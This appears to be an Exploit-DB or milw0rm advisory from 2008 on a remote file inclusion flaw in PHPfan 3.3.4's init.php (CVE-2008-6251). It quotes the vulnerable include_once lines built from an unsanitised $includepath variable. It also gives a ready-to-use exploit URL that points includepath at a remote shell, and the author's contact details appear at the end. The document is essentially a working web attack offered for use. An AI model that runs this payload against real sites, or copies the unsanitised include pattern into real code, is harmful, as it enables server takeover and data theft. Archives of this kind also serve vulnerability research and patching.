PHPfan 3.3.4 - 'init.php' Remote File Inclusion

Author: ahmadbady
type: webapps
platform: php
port: 0
date_added: 2008-11-16
date_updated: 2017-01-02
verified: 1
codes: OSVDB-49935;CVE-2008-6251
tags: 
aliases: 
screenshot_url: 
application_url: 

************************(remote file include)*****************

script: phpfan 3.3.4

***************************************************************************
download from:http://ishallnotcare.org/mint/pepper/tillkruess/downloads/tracker.php?url=http%3A//scriptsextra.ishallnotcare.org/phpfanbasic334.zip

***************************************************************************
............................................................................
vul:
<?php

 if (!isset($loaded))
 {
  include_once $includepath .'/functions.php';
line 6:.> include_once $includepath .'/debug.php';

xpl:

http://site.com/path/includes/init.php?includepath=shell?

***************************************************
***************************************************

Author: ahmadbady from http://www.deltahacking.net

my mail: kivi_hacker666@yahoo.com


***************************************************

# milw0rm.com [2008-11-17]